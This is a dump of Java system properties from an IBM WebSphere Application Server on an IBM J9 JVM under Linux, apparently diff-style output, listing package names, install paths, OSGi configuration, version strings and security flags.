com.sun.deploy.net.protocol.https,com.sun.deploy.net.protocol.chrome,com.sun.deploy.net.protocol.about,com.sun.deploy.net.protocol, com.sun.deploy.net.offline,com.sun.deploy.net.cookie,com.sun.deploy.net,com.sun.deploy.jardiff, com.sun.deploy.config,com.sun.deploy.cache,com.sun.deploy.association.utility,com.sun.deploy.association, com.sun.deploy.appcontext,com.sun.deploy,com.sun.demo.jvmti.hprof,com.sun.corba.se.spi.transport, com.sun.corba.se.spi.servicecontext,com.sun.corba.se.spi.resolver,com.sun.corba.se.spi.protocol,com.sun.corba.se.spi.presentation.rmi, com.sun.corba.se.spi.orbutil.threadpool,com.sun.corba.se.spi.orbutil.proxy,com.sun.corba.se.spi.orbutil.fsm,com.sun.corba.se.spi.orbutil.closure, com.sun.corba.se.spi.orb,com.sun.corba.se.spi.oa,com.sun.corba.se.spi.monitoring,com.sun.corba.se.spi.logging, com.sun.corba.se.spi.legacy.interceptor,com.sun.corba.se.spi.legacy.connection,com.sun.corba.se.spi.ior.iiop,com.sun.corba.se.spi.ior, com.sun.corba.se.spi.extension,com.sun.corba.se.spi.encoding,com.sun.corba.se.spi.copyobject,com.sun.corba.se.spi.activation.RepositoryPackage, com.sun.corba.se.spi.activation.LocatorPackage,com.sun.corba.se.spi.activation.InitialNameServicePackage,com.sun.corba.se.spi.activation,com.sun.corba.se.pept.transport, com.sun.corba.se.pept.protocol,com.sun.corba.se.pept.encoding,com.sun.corba.se.pept.broker,com.sun.corba.se.org.omg.CORBA, com.sun.corba.se.internal.iiop,com.sun.corba.se.internal.corba,com.sun.corba.se.internal.POA,com.sun.corba.se.internal.Interceptors, com.sun.corba.se.internal.CosNaming,com.sun.corba.se.impl.util,com.sun.corba.se.impl.transport,com.sun.corba.se.impl.resolver, com.sun.corba.se.impl.protocol.giopmsgheaders,com.sun.corba.se.impl.protocol,com.sun.corba.se.impl.presentation.rmi,com.sun.corba.se.impl.orbutil.threadpool, com.sun.corba.se.impl.orbutil.graph,com.sun.corba.se.impl.orbutil.fsm,com.sun.corba.se.impl.orbutil.concurrent,com.sun.corba.se.impl.orbutil.closure, com.sun.corba.se.impl.orbutil,com.sun.corba.se.impl.orb,com.sun.corba.se.impl.oa.toa,com.sun.corba.se.impl.oa.poa, com.sun.corba.se.impl.oa,com.sun.corba.se.impl.naming.pcosnaming,com.sun.corba.se.impl.naming.namingutil,com.sun.corba.se.impl.naming.cosnaming, com.sun.corba.se.impl.monitoring,com.sun.corba.se.impl.logging,com.sun.corba.se.impl.legacy.connection,com.sun.corba.se.impl.javax.rmi.CORBA, com.sun.corba.se.impl.javax.rmi,com.sun.corba.se.impl.ior.iiop,com.sun.corba.se.impl.ior,com.sun.corba.se.impl.io, com.sun.corba.se.impl.interceptors,com.sun.corba.se.impl.encoding,com.sun.corba.se.impl.dynamicany,com.sun.corba.se.impl.corba, com.sun.corba.se.impl.copyobject,com.sun.corba.se.impl.activation,com.sun.codemodel.internal.writer,com.sun.codemodel.internal.util, com.sun.codemodel.internal.fmt,com.sun.codemodel.internal,com.sun.beans.decoder,com.sun.awt, com.sun.applet2.preloader.event,com.sun.applet2.preloader,com.sun.applet2,com.sun.activation.registries, com.sun.accessibility.internal.resources,com.oracle.net,com.ibm.xylem.types,com.ibm.xylem.res, com.ibm.xylem.parser,com.ibm.xylem.optimizers.partialeval,com.ibm.xylem.optimizers,com.ibm.xylem.interpreter, com.ibm.xylem.instructions,com.ibm.xylem.drivers,com.ibm.xylem.config,com.ibm.xylem.commandline, com.ibm.xylem.codegen.bcel,com.ibm.xylem.codegen,com.ibm.xylem.builders,com.ibm.xylem.annot.meta, com.ibm.xylem.annot,com.ibm.xylem,com.ibm.xtq.xslt.xylem.xpath20.typesystem,com.ibm.xtq.xslt.xylem.xpath20.parser, com.ibm.xtq.xslt.xylem.xpath20.analysis,com.ibm.xtq.xslt.xylem.types,com.ibm.xtq.xslt.xylem.partialeval,com.ibm.xtq.xslt.xylem.parser, com.ibm.xtq.xslt.xylem.output.nodeset,com.ibm.xtq.xslt.xylem.optimizers,com.ibm.xtq.xslt.xylem.interpreter,com.ibm.xtq.xslt.xylem.instructions.number, com.ibm.xtq.xslt.xylem.instructions.nodeconstructors,com.ibm.xtq.xslt.xylem.instructions.nametable,com.ibm.xtq.xslt.xylem.instructions.debug,com.ibm.xtq.xslt.xylem.instructions, com.ibm.xtq.xslt.xylem.codegen,com.ibm.xtq.xslt.xylem.autof,com.ibm.xtq.xslt.xylem,com.ibm.xtq.xslt.typechecker.v2, com.ibm.xtq.xslt.typechecker.v1.types,com.ibm.xtq.xslt.typechecker.v1,com.ibm.xtq.xslt.typechecker,com.ibm.xtq.xslt.translator.v2, com.ibm.xtq.xslt.translator.v1,com.ibm.xtq.xslt.translator,com.ibm.xtq.xslt.runtime.v2,com.ibm.xtq.xslt.runtime.res, com.ibm.xtq.xslt.runtime.extensions,com.ibm.xtq.xslt.runtime.debug,com.ibm.xtq.xslt.res,com.ibm.xtq.xslt.jaxp.interpreter, com.ibm.xtq.xslt.drivers,com.ibm.xtq.xslt.cmdline.utils,com.ibm.xtq.xslt.cmdline,com.ibm.xtq.xslt, com.ibm.xtq.xpath.jaxp.v2,com.ibm.xtq.xpath.jaxp.v1,com.ibm.xtq.xpath.jaxp,com.ibm.xtq.xml.xdm.res, com.ibm.xtq.xml.xdm.ref,com.ibm.xtq.xml.xdm.dom,com.ibm.xtq.xml.xcollator,com.ibm.xtq.xml.utils, com.ibm.xtq.xml.unicode.normalize,com.ibm.xtq.xml.types,com.ibm.xtq.xml.res,com.ibm.xtq.xml.experimental, com.ibm.xtq.xml.dtm.utils,com.ibm.xtq.xml.dtm.ref.xlxp2dtm,com.ibm.xtq.xml.dtm.ref.sax2dtm,com.ibm.xtq.xml.dtm.ref, com.ibm.xtq.xml.dtm,com.ibm.xtq.xml.datamodel,com.ibm.xtq.utils,com.ibm.xtq.scontext, com.ibm.xtq.common.utils.res,com.ibm.xtq.common.utils,com.ibm.xtq.bcel.verifier.structurals,com.ibm.xtq.bcel.verifier.statics, com.ibm.xtq.bcel.verifier.exc,com.ibm.xtq.bcel.verifier,com.ibm.xtq.bcel.util,com.ibm.xtq.bcel.generic, com.ibm.xtq.bcel.classfile,com.ibm.xtq.bcel,com.ibm.xtq.ast.visit,com.ibm.xtq.ast.res, com.ibm.xtq.ast.parsers.xpath.tempconstructors,com.ibm.xtq.ast.parsers.xpath.factories,com.ibm.xtq.ast.parsers.xpath,com.ibm.xtq.ast.nodes, com.ibm.xtq.ast,com.ibm.xtq,com.ibm.xml.xlxp.api.stax.serializer,com.ibm.xml.xlxp.api.stax.events, com.ibm.xml.xlxp.api.sax.impl.parser,com.ibm.xml.xlxp.api.jaxp.impl,com.ibm.xml.xlxp.api.event,com.ibm.xml.resolver.tools, com.ibm.xml.resolver.readers,com.ibm.xml.resolver.helpers,com.ibm.xml.resolver.apps,com.ibm.xml.resolver, com.ibm.xml.jaxp.datatype,com.ibm.xml.enc.dom,com.ibm.xml.crypto.util,com.ibm.xml.crypto.spi, com.ibm.xml.crypto.dsig.gss,com.ibm.xml.crypto.dsig.dom.transform,com.ibm.xml.crypto.dsig.dom,com.ibm.xml.crypto.dsig, com.ibm.ws.compression,com.ibm.tools.rmic.iiop,com.ibm.tools.attach.spi,com.ibm.tools.attach, com.ibm.stax,com.ibm.som.idlemit,com.ibm.som.cff,com.ibm.security.util.text.resources, com.ibm.security.tools,com.ibm.security.smime.jmail,com.ibm.security.smime,com.ibm.security.sequence.bytes, com.ibm.security.sequence,com.ibm.security.sasl.util,com.ibm.security.sasl.ntlm,com.ibm.security.sasl.gsskerb, com.ibm.security.sasl.digest,com.ibm.security.pkcs5,com.ibm.security.pkcs10,com.ibm.security.pkcs1, com.ibm.security.ntlm,com.ibm.security.krb5.internal.util,com.ibm.security.krb5.internal.tools,com.ibm.security.krb5.internal.rcache, com.ibm.security.krb5.internal.ktab,com.ibm.security.krb5.internal.crypto,com.ibm.security.krb5.internal.ccache,com.ibm.security.krb5.internal, com.ibm.security.keystoreutil,com.ibm.security.keystoreski,com.ibm.security.jgss.spi,com.ibm.security.jgss.mech.krb5, com.ibm.security.jgss.i18n,com.ibm.security.crmf,com.ibm.security.cmputil,com.ibm.security.cmp, com.ibm.security.certclient.util,com.ibm.security.certclient.fmt,com.ibm.security.certclient.beans,com.ibm.security.certclient.base, com.ibm.security.certclient,com.ibm.security.cert.ldap,com.ibm.security.auth.module,com.ibm.security.auth.login, com.ibm.security.auth.callback,com.ibm.security,com.ibm.securerandom.provider,com.ibm.rmi.poa, com.ibm.rmi.channel.orb,com.ibm.oti.reflect,com.ibm.org.omg.SendingContext.CodeBasePackage,com.ibm.org.omg.SendingContext, com.ibm.org.omg.CORBA.ValueDefPackage,com.ibm.org.omg.CORBA,com.ibm.nio,com.ibm.net.ssl.www2.protocol.https, com.ibm.misc.resources,com.ibm.math,com.ibm.le.conditionhandling,com.ibm.keymanager.util.a, com.ibm.keymanager.util,com.ibm.keymanager.transport.b,com.ibm.keymanager.transport.a,com.ibm.keymanager.transport, com.ibm.keymanager.tools,com.ibm.keymanager.logic,com.ibm.keymanager.keystore,com.ibm.keymanager.keygroups.b, com.ibm.keymanager.keygroups.a,com.ibm.keymanager.keygroups,com.ibm.keymanager.i18n,com.ibm.keymanager.drivetable.a, com.ibm.keymanager.drivetable,com.ibm.keymanager.datacollection,com.ibm.keymanager.config,com.ibm.keymanager.b, com.ibm.keymanager.audit.a,com.ibm.keymanager.audit,com.ibm.keymanager.admin.cli,com.ibm.keymanager.admin, com.ibm.keymanager.a,com.ibm.keymanager,com.ibm.jvm.trace.format.api,com.ibm.jvm.trace, com.ibm.jvm.j9.dump.systemdump,com.ibm.jvm.j9.dump.saxhandler,com.ibm.jvm.j9.dump.indexsupport,com.ibm.jvm.j9.dump.extract, com.ibm.jvm.j9.dump.commandconsole,com.ibm.jvm.j9.dump.command.trace,com.ibm.jvm.j9.dump.command.heapdump,com.ibm.jvm.j9.dump.command, com.ibm.jvm.heapdump.portableheapdump,com.ibm.jvm.heapdump.classicheapdump,com.ibm.jvm.heapdump,com.ibm.jvm.format, com.ibm.jvm.dtfjview.heapdump.portable,com.ibm.jvm.dtfjview.heapdump.classic,com.ibm.jvm.dtfjview.heapdump,com.ibm.jvm.dtfjview.commands.xcommands, com.ibm.jvm.dtfjview.commands.showcommands,com.ibm.jvm.dtfjview.commands.setcommands,com.ibm.jvm.dtfjview.commands.infocommands,com.ibm.jvm.dtfjview.commands.helpers, com.ibm.jvm.dtfjview.commands,com.ibm.jvm.dtfjview,com.ibm.jtc.orb.nio,com.ibm.jtc.orb.iiop, com.ibm.jtc.orb.asynch,com.ibm.jsse2.krb5,com.ibm.jsse2.a,com.ibm.java.diagnostics.plugins, com.ibm.java.diagnostics.healthcenter.agent.mbean,com.ibm.java.diagnostics.healthcenter.agent.dataproviders.methoddictionary,com.ibm.java.diagnostics.healthcenter.agent.dataproviders.memory,com.ibm.java.diagnostics.healthcenter.agent.dataproviders.environment, com.ibm.java.diagnostics.healthcenter.agent.dataproviders.capabilities,com.ibm.java.diagnostics.healthcenter.agent.dataproviders,com.ibm.java.diagnostics.healthcenter.agent,com.ibm.java.diagnostics.commands, com.ibm.java.diagnostics.collector.healthcenter.version,com.ibm.java.diagnostics.collector,com.ibm.java.diagnostics,com.ibm.j9ddr.vm26.view.dtfj.java.j9, com.ibm.j9ddr.vm26.view.dtfj.java.corrupt,com.ibm.j9ddr.vm26.view.dtfj.java,com.ibm.j9ddr.vm26.view.dtfj,com.ibm.j9ddr.vm26.types, com.ibm.j9ddr.vm26.tools.ddrinteractive.structureformat.extensions,com.ibm.j9ddr.vm26.tools.ddrinteractive.structureformat.base,com.ibm.j9ddr.vm26.tools.ddrinteractive.commands,com.ibm.j9ddr.vm26.tools.ddrinteractive, com.ibm.j9ddr.vm26.pointer.helper,com.ibm.j9ddr.vm26.pointer.generated,com.ibm.j9ddr.vm26.pointer,com.ibm.j9ddr.vm26.j9.walkers, com.ibm.j9ddr.vm26.j9.stackwalker,com.ibm.j9ddr.vm26.j9.stackmap,com.ibm.j9ddr.vm26.j9.gc,com.ibm.j9ddr.vm26.j9, com.ibm.j9ddr.vm26.events,com.ibm.j9ddr.vm24.view.dtfj.java.j9,com.ibm.j9ddr.vm24.view.dtfj.java.corrupt,com.ibm.j9ddr.vm24.view.dtfj.java, com.ibm.j9ddr.vm24.view.dtfj,com.ibm.j9ddr.vm24.types,com.ibm.j9ddr.vm24.tools.ddrinteractive.structureformat.extensions,com.ibm.j9ddr.vm24.tools.ddrinteractive.structureformat.base, com.ibm.j9ddr.vm24.tools.ddrinteractive.commands,com.ibm.j9ddr.vm24.tools.ddrinteractive,com.ibm.j9ddr.vm24.pointer.helper,com.ibm.j9ddr.vm24.pointer.generated, com.ibm.j9ddr.vm24.pointer,com.ibm.j9ddr.vm24.j9.walkers,com.ibm.j9ddr.vm24.j9.stackwalker,com.ibm.j9ddr.vm24.j9.stackmap, com.ibm.j9ddr.vm24.j9.gc,com.ibm.j9ddr.vm24.j9,com.ibm.j9ddr.vm24.events,com.ibm.j9ddr.vm23.view.dtfj.java.j9, com.ibm.j9ddr.vm23.view.dtfj.java.corrupt,com.ibm.j9ddr.vm23.view.dtfj.java,com.ibm.j9ddr.vm23.view.dtfj,com.ibm.j9ddr.vm23.types, com.ibm.j9ddr.vm23.tools.ddrinteractive.structureformat.extensions,com.ibm.j9ddr.vm23.tools.ddrinteractive.structureformat.base,com.ibm.j9ddr.vm23.tools.ddrinteractive.commands,com.ibm.j9ddr.vm23.tools.ddrinteractive, com.ibm.j9ddr.vm23.pointer.helper,com.ibm.j9ddr.vm23.pointer.generated,com.ibm.j9ddr.vm23.pointer,com.ibm.j9ddr.vm23.j9.walkers, com.ibm.j9ddr.vm23.j9.stackwalker,com.ibm.j9ddr.vm23.j9.stackmap,com.ibm.j9ddr.vm23.j9.gc,com.ibm.j9ddr.vm23.j9, com.ibm.j9ddr.vm23.events,com.ibm.j9ddr.view.dtfj.java.helper,com.ibm.j9ddr.view.dtfj.java,com.ibm.j9ddr.view.dtfj.image, com.ibm.j9ddr.view.dtfj,com.ibm.j9ddr.util,com.ibm.j9ddr.tools.xml,com.ibm.j9ddr.tools.store, com.ibm.j9ddr.tools.logging,com.ibm.j9ddr.tools.ddrinteractive.plugins,com.ibm.j9ddr.tools.ddrinteractive.commands,com.ibm.j9ddr.tools.ddrinteractive.annotations, com.ibm.j9ddr.tools.ddrinteractive,com.ibm.j9ddr.tools.ant.tasks,com.ibm.j9ddr.tools.ant,com.ibm.j9ddr.tools, com.ibm.j9ddr.logging,com.ibm.j9ddr.libraries,com.ibm.j9ddr.exceptions,com.ibm.j9ddr.events, com.ibm.j9ddr.corereaders.tdump.zebedee.util,com.ibm.j9ddr.corereaders.tdump.zebedee.mvs,com.ibm.j9ddr.corereaders.tdump.zebedee.le,com.ibm.j9ddr.corereaders.tdump.zebedee.dumpreader, com.ibm.j9ddr.corereaders.tdump,com.ibm.j9ddr.corereaders.osthread,com.ibm.j9ddr.corereaders.minidump,com.ibm.j9ddr.corereaders.memory, com.ibm.j9ddr.corereaders.elf,com.ibm.j9ddr.corereaders.debugger,com.ibm.j9ddr.corereaders.aix,com.ibm.j9ddr.corereaders, com.ibm.j9ddr.command,com.ibm.j9ddr,com.ibm.idl.toJavaPortable,com.ibm.idl.constExpr, com.ibm.idl,com.ibm.gsk.ikeyman.util,com.ibm.gsk.ikeyman.sequence.bytes,com.ibm.gsk.ikeyman.sequence, com.ibm.gsk.ikeyman.messages,com.ibm.gsk.ikeyman.keystore.ext,com.ibm.gsk.ikeyman.keystore.entry,com.ibm.gsk.ikeyman.keystore, com.ibm.gsk.ikeyman.io,com.ibm.gsk.ikeyman.gui.panels,com.ibm.gsk.ikeyman.gui.controls,com.ibm.gsk.ikeyman.gui, com.ibm.gsk.ikeyman.event,com.ibm.gsk.ikeyman.error,com.ibm.gsk.ikeyman.command.password,com.ibm.gsk.ikeyman.command.gui, com.ibm.gsk.ikeyman.command.cli,com.ibm.gsk.ikeyman.command,com.ibm.gsk.ikeyman.certrequest.cmscertrequest,com.ibm.gsk.ikeyman.certrequest, com.ibm.gsk.ikeyman,com.ibm.dtfj.runtime,com.ibm.dtfj.phd.util,com.ibm.dtfj.phd.parser, com.ibm.dtfj.phd,com.ibm.dtfj.javacore.parser.j9.section.title,com.ibm.dtfj.javacore.parser.j9.section.thread,com.ibm.dtfj.javacore.parser.j9.section.stack, com.ibm.dtfj.javacore.parser.j9.section.platform,com.ibm.dtfj.javacore.parser.j9.section.nativememory,com.ibm.dtfj.javacore.parser.j9.section.monitor,com.ibm.dtfj.javacore.parser.j9.section.memory, com.ibm.dtfj.javacore.parser.j9.section.environment,com.ibm.dtfj.javacore.parser.j9.section.common,com.ibm.dtfj.javacore.parser.j9.section.classloader,com.ibm.dtfj.javacore.parser.j9.registered, com.ibm.dtfj.javacore.parser.j9,com.ibm.dtfj.javacore.parser.framework.tag,com.ibm.dtfj.javacore.parser.framework.scanner,com.ibm.dtfj.javacore.parser.framework.parser, com.ibm.dtfj.javacore.parser.framework.input,com.ibm.dtfj.javacore.parser.framework,com.ibm.dtfj.javacore.builder.javacore,com.ibm.dtfj.javacore.builder, com.ibm.dtfj.java.javacore,com.ibm.dtfj.java.j9,com.ibm.dtfj.java,com.ibm.dtfj.image.javacore, com.ibm.dtfj.image.j9.corrupt,com.ibm.dtfj.image.j9,com.ibm.dtfj.image,com.ibm.dtfj.corereaders.zos.util, com.ibm.dtfj.corereaders.zos.mvs,com.ibm.dtfj.corereaders.zos.le,com.ibm.dtfj.corereaders.zos.dumpreader,com.ibm.dtfj.corereaders.j9, com.ibm.dtfj.corereaders,com.ibm.dtfj.binaryreaders,com.ibm.dtfj.addressspace,com.ibm.crypto.tools, com.ibm.crypto.provider.safkeyring,com.ibm.crypto.pkcs11impl.module,com.ibm.crypto.fips.provider,com.ibm.compat, com.ibm.bidiTools.bdlayout,com.ibm.amino.refq,com.ibm.CosNaming,com.ibm.CORBA.nio, com.ibm.CORBA,com.ibm +com.ibm.debug.service.register.method: registerElement +java.lang.stringBuffer.growAggressively: false +sun.font.fontmanager: sun.awt.X11FontManager +java.awt.headless: true +java.endorsed.dirs: /opt/IBM/WebSphere/AppServer/endorsed_apis:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/endorsed +com.ibm.jsse2.sp800-131: +osgi.bundlestore: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/servers/server1/configuration/org.eclipse.osgi/bundles +java.fullversion: 8.0.8.11 - pxa6480sr8fp11-20230901_01(SR8 FP11) +JRE 1.8.0 Linux amd64-64-Bit Compressed References 20230817_56476 (JIT enabled, AOT enabled) +OpenJ9 - c425e1c +OMR - e712c65 +IBM - 696e9df +was.repository.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config +java.vendor.url: http://www.ibm.com +osgi.resolver.preferSystemPackages: false +java.version: 1.8.0_381 +osgi.os: linux +org.osgi.framework.uuid: 601c1a47-fb75-0010-1264-e18ca9cda2cd +com.ibm.oti.shared.enabled: true +osgi.splashPath: platform:/base/plugins/org.eclipse.platform +editionSupport: false +com.ibm.oti.vm.library.version: 29 +os.encoding: ANSI_X3.4-1968 +java.protocol.handler.pkgs: com.ibm.net.ssl.www2.protocol|com.ibm.ws.protocol|com.ibm.net.ssl.internal.www.protocol|com.ibm.crypto.provider +com.ibm.jsse2.checkRevocation: false +com.ibm.SOAP.requestTimeout: 600 +user.name: was +org.osgi.framework.version: 1.7.0 +sun.io.unicode.encoding: UnicodeLittle +org.osgi.framework.system.packages: javax.accessibility,javax.activation,javax.activity,javax.annotation;version="1.2",javax.annotation.processing;version="1.2",javax.annotation.security;version="1.2",javax.annotation.sql;version="1.2",javax.crypto,javax.crypto.interfaces,javax.crypto.spec,javax.imageio,javax.imageio.event,javax.imageio.metadata,javax.imageio.plugins.bmp,javax.imageio.plugins.jpeg,javax.imageio.spi,javax.imageio.stream,javax.jws,javax.jws.soap,javax.lang.model,javax.lang.model.element,javax.lang.model.type,javax.lang.model.util,javax.management,javax.management.loading,javax.management.modelmbean,javax.management.monitor,javax.management.openmbean,javax.management.relation,javax.management.remote,javax.management.remote.rmi,javax.management.timer,javax.naming,javax.naming.directory,javax.naming.event,javax.naming.ldap,javax.naming.spi,javax.net,javax.net.ssl,javax.print,javax.print.attribute,javax.print.attribute.standard,javax.print.event,javax.rmi,javax.rmi.CORBA,javax.rmi.ssl,javax.script,javax.security.auth,javax.security.auth.callback,javax.security.auth.kerberos,javax.security.auth.login,javax.security.auth.spi,javax.security.auth.x500,javax.security.cert,javax.security.sasl,javax.sound.midi,javax.sound.midi.spi,javax.sound.sampled,javax.sound.sampled.spi,javax.sql,javax.sql.rowset,javax.sql.rowset.serial,javax.sql.rowset.spi,javax.swing,javax.swing.border,javax.swing.colorchooser,javax.swing.event,javax.swing.filechooser,javax.swing.plaf,javax.swing.plaf.basic,javax.swing.plaf.metal,javax.swing.plaf.multi,javax.swing.plaf.nimbus,javax.swing.plaf.synth,javax.swing.table,javax.swing.text,javax.swing.text.html,javax.swing.text.html.parser,javax.swing.text.rtf,javax.swing.tree,javax.swing.undo,javax.tools,javax.transaction,javax.transaction.xa,javax.xml,javax.xml.bind,javax.xml.bind.annotation,javax.xml.bind.annotation.adapters,javax.xml.bind.attachment,javax.xml.bind.helpers,javax.xml.bind.util,javax.xml.crypto,javax.xml.crypto.dom,javax.xml.crypto.dsig,javax.xml.crypto.dsig.dom,javax.xml.crypto.dsig.keyinfo,javax.xml.crypto.dsig.spec,javax.xml.datatype,javax.xml.namespace,javax.xml.parsers,javax.xml.soap,javax.xml.stream,javax.xml.stream.events,javax.xml.stream.util,javax.xml.transform,javax.xml.transform.dom,javax.xml.transform.sax,javax.xml.transform.stax,javax.xml.transform.stream,javax.xml.validation,javax.xml.ws,javax.xml.ws.handler,javax.xml.ws.handler.soap,javax.xml.ws.http,javax.xml.ws.soap,javax.xml.ws.spi,javax.xml.ws.spi.http,javax.xml.ws.wsaddressing,javax.xml.xpath,org.ietf.jgss,org.omg.CORBA,org.omg.CORBA_2_3,org.omg.CORBA_2_3.portable,org.omg.CORBA.DynAnyPackage,org.omg.CORBA.ORBPackage,org.omg.CORBA.portable,org.omg.CORBA.TypeCodePackage,org.omg.CosNaming,org.omg.CosNaming.NamingContextExtPackage,org.omg.CosNaming.NamingContextPackage,org.omg.Dynamic,org.omg.DynamicAny,org.omg.DynamicAny.DynAnyFactoryPackage,org.omg.DynamicAny.DynAnyPackage,org.omg.IOP,org.omg.IOP.CodecFactoryPackage,org.omg.IOP.CodecPackage,org.omg.Messaging,org.omg.PortableInterceptor,org.omg.PortableInterceptor.ORBInitInfoPackage,org.omg.PortableServer,org.omg.PortableServer.CurrentPackage,org.omg.PortableServer.POAManagerPackage,org.omg.PortableServer.POAPackage,org.omg.PortableServer.portable,org.omg.PortableServer.ServantLocatorPackage,org.omg.SendingContext,org.omg.stub.java.rmi,org.w3c.dom,org.w3c.dom.bootstrap,org.w3c.dom.css,org.w3c.dom.events,org.w3c.dom.html,org.w3c.dom.ls,org.w3c.dom.ranges,org.w3c.dom.stylesheets,org.w3c.dom.traversal,org.w3c.dom.views,org.w3c.dom.xpath,org.xml.sax,org.xml.sax.ext,org.xml.sax.helpers +sun.jnu.encoding: ANSI_X3.4-1968 +java.runtime.name: Java(TM) SE Runtime Environment +com.ibm.jcl.checkClassPath: +ibm.system.encoding: ANSI_X3.4-1968 +osgi.instance.area.default: file:/home/was/workspace/ +java.specification.name: Java Platform API Specification +org.osgi.supports.framework.fragment: true +user.timezone: UTC +org.osgi.framework.system.capabilities: osgi.ee; osgi.ee="OSGi/Minimum"; version:List="1.0, 1.1, 1.2",osgi.ee; osgi.ee="JRE"; version:List="1.0, 1.1",osgi.ee; osgi.ee="JavaSE"; version:List="1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8" +osgi.nl: en_US +java.awt.fonts: +path.separator: : +java.util.logging.manager: com.ibm.ws.bootstrap.WsLogManager +file.encoding: ANSI_X3.4-1968 +osgi.arch: x86_64 +javax.security.auth.useAllCreds: true +com.ibm.CORBA.ORBPropertyFilePath: /opt/IBM/WebSphere/AppServer/properties +com.ibm.oti.configuration: scar +sun.java.command: com.ibm.wsspi.bootstrap.WSPreLauncher -nosplash -application com.ibm.ws.bootstrap.WSLauncher com.ibm.ws.runtime.WsServer /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config DefaultCell01 DefaultNode01 server1 +org.apache.cxf.stax.allowInsecureParser: 1 +excludeSteps: EditionOptions +org.osgi.supports.framework.requirebundle: true +FFDCProcessLevel: 4 +com.ibm.jsse2.suiteB: +osgi.bundles: com.ibm.cds,com.ibm.ws.eclipse.adaptors,reference:file:org.eclipse.equinox.common_.jar@2:start, reference:file:com.ibm.ws.bootstrap.provisioner.jar@3:start, reference:file:org.eclipse.core.runtime_.jar@start +java.io.tmpdir: /tmp +org.osgi.framework.os.name: Linux +user.language: en +eof: eof +line.separator: + +com.ibm.fips.mode: 140-2 +org.osgi.framework.processor: x86-64 +java.security.auth.login.config: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/wsjaas.conf +com.ibm.wsspi.runtime.ThreadPoolRepositoryName: com.ibm.ws.runtime.WSThreadPoolRepository +com.ibm.itp.location: /opt/IBM/WebSphere/AppServer/bin +com.ibm.security.enableCRLDP: false +java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20230817_56476 (JIT enabled, AOT enabled) +OpenJ9 - c425e1c +OMR - e712c65 +IBM - 696e9df +osgi.manifest.cache: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/servers/server1/configuration/org.eclipse.osgi/manifests +sun.java.launcher.pid: 595 +java.vm.specification.name: Java Virtual Machine Specification +com.ibm.wsspi.ecs.module.ModuleFactory: com.ibm.ws.ecs.internal.wtp.module.impl.WTPModuleFactory +com.ibm.security.krb5.Krb5Debug: off +java.naming.provider.url: corbaloc:rir:/NameServiceServerRoot +FFDCLogDirectory: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/logs/ffdc +com.ibm.cpu.endian: little +osgi.signature.support.verify: false +osgi.configuration.area: file:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/servers/server1/configuration/ +java.awt.printerjob: sun.print.PSPrinterJob +provision.exclude.local.repository: true +com.ibm.util.extralibs.properties: +osgi.ws: gtk +com.ibm.xtq.processor.overrideSecureProcessing: true +org.osgi.supports.framework.extension: true +osgi.framework.extensions: com.ibm.cds,com.ibm.ws.eclipse.adaptors +gosh.args: --nointeractive +osgi.parentClassloader: app +org.osgi.framework.language: en +os.name: Linux +eclipse.home.location: file:/opt/IBM/WebSphere/AppServer/ +java.specification.vendor: Oracle Corporation +com.ibm.fips.home: /opt/IBM/WebSphere/AppServer/java/8.0/jre +java.vm.name: IBM J9 VM +eclipse.buildId: M20060921-0945 +java.library.path: /opt/IBM/WebSphere/AppServer/lib/native/linux/x86_64/:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64:/opt/IBM/WebSphere/AppServer/bin:/opt/IBM/WebSphere/AppServer/nulldllsdir:/usr/lib64:/usr/lib: +eclipse.commands: -nosplash +-application +com.ibm.ws.bootstrap.WSLauncher + +java.class.version: 52.0 +osgi.syspath: /opt/IBM/WebSphere/AppServer/plugins +java.compiler: j9jit29 +server.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +com.ibm.security.enableNULLCRLDP: true +osgi.instance.area: file:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/1742229229/ +osgi.install.area: file:/opt/IBM/WebSphere/AppServer/ +sun.boot.library.path: /opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/amd64 +osgi.checkConfiguration: false +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +user.variant: +was.status.socket: 42969 +user.install.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +osgi.classloader.lock: classname +java.vm.specification.version: 1.8 +awt.toolkit: sun.awt.X11.XToolkit +java.ext.dirs: /opt/IBM/WebSphere/AppServer/tivoli/tam:/opt/IBM/WebSphere/AppServer/javaext:/opt/IBM/WebSphere/AppServer/java/8.0/jre/lib/ext:/opt/IBM/WebSphere/AppServer/java/8.0/jre/fips140-2/lib/ext +osgi.framework.version: 3.9.2.v20160329-1848 +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.ibm.ejs.jts.processType: server +user.home: /home/was +java.vm.vendor: IBM Corporation +python.cachedir: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/cachedir +com.ibm.ws.jsp.taglib.annotation.AnnotationHandler: com.ibm.ws.jsp.annotation.WASAnnotationHandler +com.ibm.jsse2.usefipsprovider: false +user.dir: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +org.osgi.framework.os.version: 6.14.10 +osgi.framework.shape: jar +com.ibm.vm.bitmode: 64 +was.repository.temp: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/temp/ +osgi.noLazyStateLoading: true +sun.cpu.endian: little +com.ibm.security.jgss.debug: off +java.util.logging.configureByServer: true +eclipse.startTime: 1754838253591 +java.vm.version: 2.9 +java.class.path: 